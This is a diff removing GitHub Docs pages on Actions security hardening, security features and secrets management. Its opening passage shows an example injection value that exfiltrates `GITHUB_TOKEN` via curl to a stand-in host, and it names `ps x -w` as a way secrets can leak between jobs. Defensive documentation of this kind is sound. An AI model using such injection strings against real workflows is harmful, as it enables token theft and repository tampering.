-It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`.
-
-### Modifying the contents of a repository
-
-The attacker server can use the {% data variables.product.github %} API to [modify repository content](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token).
-
-## Considering cross-repository access
-
-{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators.
-
-If your organization is owned by an enterprise account, then you can share and reuse {% data variables.product.prodname_actions %} by storing them in internal repositories. For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise).
-
-You can perform other privileged, cross-repository interactions by referencing a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended.
-
-This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference:
-
-1. **The `GITHUB_TOKEN`**
- * This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication).
- * The `GITHUB_TOKEN` should be used whenever possible.
-1. **Repository deploy key**
- * Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys).
- * Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements.
-1. **{% data variables.product.prodname_github_app %} tokens**
- * {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow).
-1. **{% data variables.product.pat_generic %}s**
- * You should never use a {% data variables.product.pat_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in.
- * If you do use a {% data variables.product.pat_generic %}, you should never use a {% data variables.product.pat_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% data variables.product.pat_v2 %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys.
-1. **SSH keys on a personal account**
- * Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat_v1_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead.
-
-## Hardening for {% data variables.product.prodname_dotcom %}-hosted runners
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-{% ifversion fpt or ghec %}
-
-{% data variables.product.prodname_dotcom %}-hosted runners take measures to help you mitigate security risks.
-
-{% ifversion actions-sbom %}
-
-### Reviewing the supply chain for {% data variables.product.prodname_dotcom %}-hosted runners
-
-For {% data variables.product.prodname_dotcom %}-hosted runners created from images maintained by {% data variables.product.company_short %}, you can view a software bill of materials (SBOM) to see what software was pre-installed on the runner. You can provide your users with the SBOM which they can run through a vulnerability scanner to validate if there are any vulnerabilities in the product. If you are building artifacts, you can include this SBOM in your bill of materials for a comprehensive list of everything that went into creating your software.
-
-SBOMs are available for Ubuntu, Windows, and macOS runner images maintained by {% data variables.product.company_short %}. You can locate the SBOM for your build in the release assets at https://github.com/actions/runner-images/releases. An SBOM with a filename in the format of `sbom.IMAGE-NAME.json.zip` can be found in the attachments of each release.
-
-For third-party images, such as the images for ARM-powered runners, you can find details of the software that's included in the image in the [`actions/partner-runner-images` repository](https://github.com/actions/partner-runner-images).
-
-{% endif %}
-
-### Denying access to hosts
-
-{% data reusables.actions.runners-etc-hosts-file %} For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners).
-
-{% endif %}
-
-## Hardening for self-hosted runners
-
-{% ifversion fpt or ghec %}
-**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process.
-{% endif %}
-
-{% ifversion fpt or ghec %}**Self-hosted**{% elsif ghes %}Self-hosted{% endif %} runners for {% data variables.product.github %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow.
-
-{% ifversion fpt or ghec %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#self-hosted-runner-security) on {% data variables.product.github %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which, depending on its settings, can grant write access to the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner.
-
-{% data reusables.actions.disable-selfhosted-runners-crossrefs %}
-
-When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.github %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. You can restrict what {% ifversion ghec or ghes %}workflows, {% endif %}organizations and repositories can access runner groups. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups).
-
-You should also consider the environment of the self-hosted runner machines:
-* What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others.
-* Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment.
-
-Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages.
-
-### Using just-in-time runners
-
-To improve runner registration security, you can use the REST API to create ephemeral, just-in-time (JIT) runners. These self-hosted runners perform at most one job before being automatically removed from the repository, organization, or enterprise. For more information about configuring JIT runners, see [AUTOTITLE](/rest/actions/self-hosted-runners#create-configuration-for-a-just-in-time-runner-for-an-organization).
-
-> [!NOTE]
-> Re-using hardware to host JIT runners can risk exposing information from the environment. Use automation to ensure the JIT runner uses a clean environment. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners#using-ephemeral-runners-for-autoscaling).
-
-Once you have the config file from the REST API response, you can pass it to the runner at startup.
-
-```shell
-./run.sh --jitconfig ${encoded_jit_config}
-```
-
-### Planning your management strategy for self-hosted runners
-
-A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner:
-
-**Centralized management:**
-* If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners.
-* If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future.
-
-**Decentralized management:**
-* If each team will manage their own self-hosted runners, then the recommendation is to add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too.
-* You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories.
-
-### Authenticating to your cloud provider
-
-If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then its recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect).
-
-## Auditing {% data variables.product.prodname_actions %} events
-
-You can use the security log to monitor activity for your user account and the audit log to monitor activity in your organization{% ifversion ghec or ghes %} or enterprise{% endif %}. The security and audit log records the type of action, when it was run, and which personal account performed the action.
-
-For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets.
-
-
-
-For the full list of events that you can find in the audit log for each account type, see the following articles:
-
-* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/security-log-events)
-* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization)
-{%- ifversion ghec or ghes %}
-* [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)
-{%- endif %}
diff --git a/content/actions/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions.md b/content/actions/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions.md
deleted file mode 100644
index 8a3d870e93ef..000000000000
--- a/content/actions/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions.md
+++ /dev/null
@@ -1,90 +0,0 @@
----
-title: Using GitHub's security features to secure your use of GitHub Actions
-intro: '{% data variables.product.prodname_dotcom %} has several security features that can enhance the security of the actions you consume and publish.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-shortTitle: GitHub security features
-redirect_from:
- - /actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions
----
-
-## About {% data variables.product.prodname_dotcom %}'s security features
-
-{% data variables.product.prodname_dotcom %} provides many features to make your code more secure. You can use {% data variables.product.prodname_dotcom %}'s built-in features to understand the actions your workflows depend on, ensure you are notified about vulnerabilities in the actions you consume, or automate the process of keeping the actions in your workflows up to date. If you publish and maintain actions, you can use {% data variables.product.prodname_dotcom %} to communicate with your community about vulnerabilities and how to fix them. For more information about security features that {% data variables.product.prodname_dotcom %} offers, see [AUTOTITLE](/code-security/getting-started/github-security-features#about-githubs-security-features).
-
-This article will explain how you can use some of {% data variables.product.prodname_dotcom %}'s security features to increase the security of your use of {% data variables.product.prodname_actions %}.
-
-## Understanding dependencies in your workflows
-
-You can use the dependency graph to explore the actions that the workflows in your repository use. The dependency graph is a summary of the manifest and lock files stored in a repository. It also recognizes files in `./github/workflows/` as manifests, which means that any actions or workflows referenced using the syntax `jobs[*].steps[*].uses` or `jobs..uses` will be parsed as dependencies.
-
-The dependency graph shows the following information about actions used in workflows:
-
-* The account or organization that owns the action.
-* The workflow file that references the action.
-* The version or SHA the action is pinned to.
-
-In the dependency graph, dependencies are automatically sorted by vulnerability severity. If any of the actions you use have security advisories, they will display at the top of the list. You can navigate to the advisory from the dependency graph and access instructions for resolving the vulnerability.
-
-{% ifversion fpt or ghec %}The dependency graph is enabled for public repositories, and you can choose to enable it on private repositories. For more information about using the dependency graph, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository).{% else %}Enterprise owners can configure the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for an enterprise. For more information, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise).{% endif %}
-
-## Being aware of security vulnerabilities in actions you use
-
-For actions available on the marketplace, {% data variables.product.prodname_dotcom %} reviews related security advisories and then adds those advisories to the {% data variables.product.prodname_advisory_database %}. You can search the database for actions that you use to find information about existing vulnerabilities and instructions for how to fix them. To streamline your search, use the {% data variables.product.prodname_actions %} filter in the [{% data variables.product.prodname_advisory_database %}](https://github.com/advisories?query=type%3Areviewed+ecosystem%3Aactions).
-
-You can set up your repositories so that you:
-
-* Receive alerts when actions used in your workflows receive a vulnerability report. For more information, see [Monitoring the actions in your workflows](#monitoring-the-actions-in-your-workflows).
-* Are warned about existing advisories when you add or update an action in a workflow. For more information, see [Screening actions for vulnerabilities in new or updated workflows](#screening-actions-for-vulnerabilities-in-new-or-updated-workflows).
-
-### Monitoring the actions in your workflows
-
-You can use {% data variables.product.prodname_dependabot %} to monitor the actions in your workflows and enable {% data variables.product.prodname_dependabot_alerts %} to notify you when an action you use has a reported vulnerability. {% data variables.product.prodname_dependabot %} performs a scan of the default branch of the repositories where it is enabled to detect insecure dependencies. {% data variables.product.prodname_dependabot %} generates {% data variables.product.prodname_dependabot_alerts %} when a new advisory is added to the {% data variables.product.prodname_advisory_database %} or when an action you use is updated.
-
-> [!NOTE]
-> {% data variables.product.prodname_dependabot %} only creates alerts for vulnerable actions that use semantic versioning and will not create alerts for actions pinned to SHA values.
-
-{% ifversion fpt or ghec %}You can enable {% data variables.product.prodname_dependabot_alerts %} for your personal account, for a repository, or for an organization. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts).{% else %}An enterprise owner must first set up {% data variables.product.prodname_dependabot %} for your enterprise before you can manage {% data variables.product.prodname_dependabot_alerts %} for your repository. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).{% endif %}
-
-{% data reusables.dependabot.where-to-view-dependabot-alerts %} For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts).
-
-### Screening actions for vulnerabilities in new or updated workflows
-
-When you open pull requests to update your workflows, it is good practice to use dependency review to understand the security impact of changes you've made to the actions you use. {% data reusables.dependency-review.feature-overview %}
-
-If any of the changes you made to your workflows are flagged as vulnerable, you can avoid adding them to your project or update them to a secure version.
-
-For more information about dependency review, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review).
-
-{% data reusables.dependency-review.about-dependency-review-action %} For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#about-the-dependency-review-action).
-
-## Keeping the actions in your workflows secure and up to date
-
-{% data reusables.actions.dependabot-version-updates-for-actions %}
-
-The following features can automatically update the actions in your workflows.
-
-* **{% data variables.product.prodname_dependabot_version_updates %}** open pull requests to update actions to the latest version when a new version is released.
-* **{% data variables.product.prodname_dependabot_security_updates %}** open pull requests to update actions with reported vulnerabilities to the minimum patched version.
-
-> [!NOTE]
-> {% data reusables.actions.dependabot-version-updates-actions-caveats %}
-
-For information on how to configure {% data variables.product.prodname_dependabot_version_updates %}, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates).
-
-For information on how to configure {% data variables.product.prodname_dependabot_security_updates %}, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates).
-
-{% ifversion fpt or ghec %}
-
-## Protecting actions you've created
-
-{% data variables.product.prodname_dotcom %} enables collaboration between people who publish and maintain actions and vulnerability reporters in order to promote secure coding. {% data reusables.security-advisory.security-advisory-overview %}
-
-If you are someone who maintains an action that is used in other projects, you can use the following {% data variables.product.prodname_dotcom %} features to enhance the security of the actions you've published.
-
-* Use the dependants view in the Dependency graph to see which projects depend on your code. If you receive a vulnerability report, this will give you an idea of who you need to communicate with about the vulnerability and how to fix it. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#dependents-view).
-* Use repository security advisories to create a security advisory, privately collaborate to fix the vulnerability in a temporary private fork, and publish a security advisory to alert your community of the vulnerability once a patch is released. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository) and [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory).
-
-{% endif %}
diff --git a/content/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions.md b/content/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions.md
deleted file mode 100644
index 48758791468f..000000000000
--- a/content/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions.md
+++ /dev/null
@@ -1,404 +0,0 @@
----
-title: Using secrets in GitHub Actions
-shortTitle: Using secrets
-intro: 'Secrets allow you to store sensitive information in your organization, repository, or repository environments.'
-redirect_from:
- - /github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
- - /actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
- - /actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets
- - /actions/configuring-and-managing-workflows/using-variables-and-secrets-in-a-workflow
- - /actions/reference/encrypted-secrets
- - /actions/managing-workflows/storing-secrets
- - /actions/security-guides/encrypted-secrets
- - /actions/security-guides/using-secrets-in-github-actions
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-For general information about secrets, see [AUTOTITLE](/actions/security-for-github-actions/security-guides/about-secrets).
-
-## Creating secrets for a repository
-
-{% data reusables.actions.permissions-statement-secrets-variables-repository %}
-
-{% webui %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-settings %}
-{% data reusables.actions.sidebar-secrets-and-variables %}
-{% data reusables.actions.actions-secrets-tab %}
- 
-1. Click **New repository secret**.
-1. In the **Name** field, type a name for your secret.
-1. In the **Secret** field, enter the value for your secret.
-1. Click **Add secret**.
-
-If your repository has environment secrets or can access secrets from the parent organization, then those secrets are also listed on this page.
-
-{% endwebui %}
-
-{% cli %}
-
-{% data reusables.cli.cli-learn-more %}
-
-To add a repository secret, use the `gh secret set` subcommand. Replace `secret-name` with the name of your secret.
-
-```shell
-gh secret set SECRET_NAME
-```
-
-The CLI will prompt you to enter a secret value. Alternatively, you can read the value of the secret from a file.
-
-```shell
-gh secret set SECRET_NAME < secret.txt
-```
-
-To list all secrets for the repository, use the `gh secret list` subcommand.
-
-{% endcli %}
-
-## Creating secrets for an environment
-
-{% data reusables.actions.permissions-statement-secrets-environment %}
-
-{% webui %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-settings %}
-{% data reusables.actions.sidebar-environment %}
-1. Click on the environment that you want to add a secret to.
-1. Under **Environment secrets**, click **Add secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the value for your secret.
-1. Click **Add secret**.
-
-{% endwebui %}
-
-{% cli %}
-
-To add a secret for an environment, use the `gh secret set` subcommand with the `--env` or `-e` flag followed by the environment name.
-
-```shell
-gh secret set --env ENV_NAME SECRET_NAME
-```
-
-To list all secrets for an environment, use the `gh secret list` subcommand with the `--env` or `-e` flag followed by the environment name.
-
-```shell
-gh secret list --env ENV_NAME
-```
-
-{% endcli %}
-
-## Creating secrets for an organization
-
-{% data reusables.actions.actions-secrets-variables-repository-access %}
-
-{% data reusables.actions.permissions-statement-secrets-and-variables-organization %}
-
-{% webui %}
-
-{% data reusables.organizations.navigate-to-org %}
-{% data reusables.organizations.org_settings %}
-{% data reusables.actions.sidebar-secrets-and-variables %}
-{% data reusables.actions.actions-secrets-tab %}
-
- 
-
- {% data reusables.actions.secrets-and-variables-org-permissions %}
-
-1. Click **New organization secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the **Value** for your secret.
-1. From the **Repository access** dropdown list, choose an access policy.
-1. Click **Add secret**.
-
-{% endwebui %}
-
-{% cli %}
-
-> [!NOTE]
-> By default, {% data variables.product.prodname_cli %} authenticates with the `repo` and `read:org` scopes. To manage organization secrets, you must additionally authorize the `admin:org` scope.
->
-> ```shell
-> gh auth login --scopes "admin:org"
-> ```
-
-To add a secret for an organization, use the `gh secret set` subcommand with the `--org` or `-o` flag followed by the organization name.
-
-```shell
-gh secret set --org ORG_NAME SECRET_NAME
-```
-
-By default, the secret is only available to private repositories. To specify that the secret should be available to all repositories within the organization, use the `--visibility` or `-v` flag.
-
-```shell
-gh secret set --org ORG_NAME SECRET_NAME --visibility all
-```
-
-To specify that the secret should be available to selected repositories within the organization, use the `--repos` or `-r` flag.
-
-```shell
-gh secret set --org ORG_NAME SECRET_NAME --repos REPO-NAME-1, REPO-NAME-2
-```
-
-To list all secrets for an organization, use the `gh secret list` subcommand with the `--org` or `-o` flag followed by the organization name.
-
-```shell
-gh secret list --org ORG_NAME
-```
-
-{% endcli %}
-
-## Reviewing access to organization-level secrets
-
-You can check which access policies are being applied to a secret in your organization.
-
-{% data reusables.organizations.navigate-to-org %}
-{% data reusables.organizations.org_settings %}
-{% data reusables.actions.sidebar-secrets-and-variables %}
-1. The list of secrets includes any configured permissions and policies. For more details about the configured permissions for each secret, click **Update**.
-
-## Using secrets in a workflow
-
-> [!NOTE]
-> * {% data reusables.actions.forked-secrets %}
-> * Secrets are not automatically passed to reusable workflows. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow).
-> {% data reusables.actions.about-oidc-short-overview %}
-
-To provide an action with a secret as an input or environment variable, you can use the `secrets` context to access secrets you've created in your repository. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts) and [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions).
-
-{% raw %}
-
-```yaml
-steps:
- - name: Hello world action
- with: # Set the secret as an input
- super_secret: ${{ secrets.SuperSecret }}
- env: # Or as an environment variable
- super_secret: ${{ secrets.SuperSecret }}
-```
-
-{% endraw %}
-
-Secrets cannot be directly referenced in `if:` conditionals. Instead, consider setting secrets as job-level environment variables, then referencing the environment variables to conditionally run steps in the job. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#context-availability) and [`jobs..steps[*].if`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsif).
-
-If a secret has not been set, the return value of an expression referencing the secret (such as {% raw %}`${{ secrets.SuperSecret }}`{% endraw %} in the example) will be an empty string.
-
-Avoid passing secrets between processes from the command line, whenever possible. Command-line processes may be visible to other users (using the `ps` command) or captured by [security audit events](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing). To help protect secrets, consider using environment variables, `STDIN`, or other mechanisms supported by the target process.
-
-If you must pass secrets within a command line, then enclose them within the proper quoting rules. Secrets often contain special characters that may unintentionally affect your shell. To escape these special characters, use quoting with your environment variables. For example:
-
-### Example using Bash
-
-{% raw %}
-
-```yaml
-steps:
- - shell: bash
- env:
- SUPER_SECRET: ${{ secrets.SuperSecret }}
- run: |
- example-command "$SUPER_SECRET"
-```
-
-{% endraw %}
-
-### Example using PowerShell
-
-{% raw %}
-
-```yaml
-steps:
- - shell: pwsh
- env:
- SUPER_SECRET: ${{ secrets.SuperSecret }}
- run: |
- example-command "$env:SUPER_SECRET"
-```
-
-{% endraw %}
-
-### Example using Cmd.exe
-
-{% raw %}
-
-```yaml
-steps:
- - shell: cmd
- env:
- SUPER_SECRET: ${{ secrets.SuperSecret }}
- run: |
- example-command "%SUPER_SECRET%"
-```
-
-{% endraw %}
-
-## Limits for secrets
-
-You can store up to 1,000 organization secrets, 100 repository secrets, and 100 environment secrets.
-
-A workflow created in a repository can access the following number of secrets:
-
-* All 100 repository secrets.
-* If the repository is assigned access to more than 100 organization secrets, the workflow can only use the first 100 organization secrets (sorted alphabetically by secret name).
-* All 100 environment secrets.
-
-Secrets are limited to 48 KB in size. To store larger secrets, see the [Storing large secrets](#storing-large-secrets) workaround below.
-
-### Storing large secrets
-
-To use secrets that are larger than 48 KB, you can use a workaround to store secrets in your repository and save the decryption passphrase as a secret on {% data variables.product.prodname_dotcom %}. For example, you can use `gpg` to encrypt a file containing your secret locally before checking the encrypted file in to your repository on {% data variables.product.prodname_dotcom %}. For more information, see the [gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html).
-
-> [!WARNING]
-> Be careful that your secrets do not get printed when your workflow runs. When using this workaround, {% data variables.product.prodname_dotcom %} does not redact secrets that are printed in logs.
-
-1. Run the following command from your terminal to encrypt the file containing your secret using `gpg` and the AES256 cipher algorithm. In this example, `my_secret.json` is the file containing the secret.
-
- ```shell
- gpg --symmetric --cipher-algo AES256 my_secret.json
- ```
-
-1. You will be prompted to enter a passphrase. Remember the passphrase, because you'll need to create a new secret on {% data variables.product.prodname_dotcom %} that uses the passphrase as the value.
-
-1. Create a new secret that contains the passphrase. For example, create a new secret with the name `LARGE_SECRET_PASSPHRASE` and set the value of the secret to the passphrase you used in the step above.
-
-1. Copy your encrypted file to a path in your repository and commit it. In this example, the encrypted file is `my_secret.json.gpg`.
-
- > [!WARNING]
- > Make sure to copy the encrypted `my_secret.json.gpg` file ending with the `.gpg` file extension, and **not** the unencrypted `my_secret.json` file.
-
- ```shell
- git add my_secret.json.gpg
- git commit -m "Add new secret JSON file"
- ```
-
-1. Create a shell script in your repository to decrypt the secret file. In this example, the script is named `decrypt_secret.sh`.
-
- ```shell copy
- #!/bin/sh
-
- # Decrypt the file
- mkdir $HOME/secrets
- # --batch to prevent interactive command
- # --yes to assume "yes" for questions
- gpg --quiet --batch --yes --decrypt --passphrase="$LARGE_SECRET_PASSPHRASE" \
- --output $HOME/secrets/my_secret.json my_secret.json.gpg
- ```
-
-1. Ensure your shell script is executable before checking it in to your repository.
-
- ```shell
- chmod +x decrypt_secret.sh
- git add decrypt_secret.sh
- git commit -m "Add new decryption script"
- git push
- ```
-
-1. In your {% data variables.product.prodname_actions %} workflow, use a `step` to call the shell script and decrypt the secret. To have a copy of your repository in the environment that your workflow runs in, you'll need to use the [`actions/checkout`](https://github.com/actions/checkout) action. Reference your shell script using the `run` command relative to the root of your repository.
-
- ```yaml
- name: Workflows with large secrets
-
- on: push
-
- jobs:
- my-job:
- name: My Job
- runs-on: ubuntu-latest
- steps:
- - uses: {% data reusables.actions.action-checkout %}
- - name: Decrypt large secret
- run: ./decrypt_secret.sh
- env:
- LARGE_SECRET_PASSPHRASE: {% raw %}${{ secrets.LARGE_SECRET_PASSPHRASE }}{% endraw %}
- # This command is just an example to show your secret being printed
- # Ensure you remove any print statements of your secrets. GitHub does
- # not hide secrets that use this workaround.
- - name: Test printing your secret (Remove this step in production)
- run: cat $HOME/secrets/my_secret.json
- ```
-
-## Storing Base64 binary blobs as secrets
-
-You can use Base64 encoding to store small binary blobs as secrets. You can then reference the secret in your workflow and decode it for use on the runner. For the size limits, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions#limits-for-secrets).
-
-> [!NOTE]
-> Note that Base64 only converts binary to text, and is not a substitute for actual encryption.
-
-1. Use `base64` to encode your file into a Base64 string. For example:
-
- On macOS, you could run:
-
- ```shell
- base64 -i cert.der -o cert.base64
- ```
-
- On Linux, you could run:
-
- ```shell
- base64 -w 0 cert.der > cert.base64
- ```
-
-1. Create a secret that contains the Base64 string. For example:
-
- ```shell
- $ gh secret set CERTIFICATE_BASE64 < cert.base64
- ✓ Set secret CERTIFICATE_BASE64 for octocat/octorepo
- ```
-
-1. To access the Base64 string from your runner, pipe the secret to `base64 --decode`. For example:
-
- ```yaml
- name: Retrieve Base64 secret
- on:
- push:
- branches: [ octo-branch ]
- jobs:
- decode-secret:
- runs-on: ubuntu-latest
- steps:
- - uses: {% data reusables.actions.action-checkout %}
- - name: Retrieve the secret and decode it to a file
- env:
- {% raw %}CERTIFICATE_BASE64: ${{ secrets.CERTIFICATE_BASE64 }}{% endraw %}
- run: |
- echo $CERTIFICATE_BASE64 | base64 --decode > cert.der
- - name: Show certificate information
- run: |
- openssl x509 -in cert.der -inform DER -text -noout
- ```
-
-> [!NOTE]
-> Using another shell might require different commands for decoding the secret to a file. On Windows runners, we recommend [using a bash shell](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsshell) with `shell: bash` to use the commands in the `run` step above.
-
-## Redacting secrets from workflow run logs
-
-{% data variables.product.prodname_actions %} automatically redacts the contents of all {% data variables.product.prodname_dotcom %} secrets that are printed to workflow logs.
-
-{% data variables.product.prodname_actions %} also redacts information that is recognized as sensitive, but is not stored as a secret. Currently {% data variables.product.prodname_dotcom %} supports the following:
-
-* 32-byte and 64-byte Azure keys
-* Azure AD client app passwords
-* Azure Cache keys
-* Azure Container Registry keys
-* Azure Function host keys
-* Azure Search keys
-* Database connection strings
-* HTTP Bearer token headers
-* JWTs
-* NPM author tokens
-* NuGet API keys
-* v1 GitHub installation tokens
-* v2 GitHub installation tokens (`ghp`, `gho`, `ghu`, `ghs`, `ghr`)
-* v2 GitHub PATs
-
-> [!NOTE] If you would like other types of sensitive information to be automatically redacted, please reach out to us in our [community discussions](https://github.com/orgs/community/discussions?discussions_q=is%3Aopen+label%3AActions).
-
-As a habit of best practice, you should mask all sensitive information that is not a {% data variables.product.prodname_dotcom %} secret by using `::add-mask::VALUE`. This causes the value to be treated as a secret and redacted from logs. For more information about masking data, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#masking-a-value-in-a-log).
-
